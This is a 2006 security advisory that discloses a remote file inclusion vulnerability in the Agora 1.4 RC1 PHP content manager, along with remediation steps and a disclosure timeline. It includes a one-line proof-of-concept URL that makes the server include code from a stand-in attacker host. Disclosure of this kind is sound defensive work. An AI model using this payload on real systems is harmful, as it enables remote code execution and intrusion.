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Agora 1.4 RC1 "$_SESSION" Remote File Inclusion Vulnerability



Agora 1.4 RC1 "$_SESSION" Remote File Inclusion Vulnerability
Agora 1.4 RC1 "$_SESSION" Remote File Inclusion Vulnerability



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[ECHO_ADV_59$2006]Agora 1.4 RC1  "$_SESSION[PATH_COMPOSANT]" Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: November, 01nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv59-theday-2006.txt 
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Agora
version		: 1.4 RC1
URL		: http://www.agora.gouv.fr 

Based on the free software Spip, Agora is a free software of management of contents for 
Internet developed in php, which makes it possible to put in place and to manage quickly 
and with lower cost of the Internet sites, Intranet or extranet.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in modules/Mysqlfinder/MysqlfinderAdmin.php
--------------------------modules/Mysqlfinder/MysqlfinderAdmin.php----------
....
http://target.com/[agora-1.4-path]/modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]=http://attacker.com/inject.txt? 


Solution:
~~~~~~~

- Insert new line code :
  ...
  include_once 'MysqlfinderParam.inc';
  ...
  
  Before include_once($_SESSION["PATH_COMPOSANT"]."Commun/Template.inc")

- Turn off register_globals
- Turn off display_error to Hide Full Path Error

Timeline :
~~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

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Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com 
~ #aikmel - #e-c-h-o @irc.dal.net 
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
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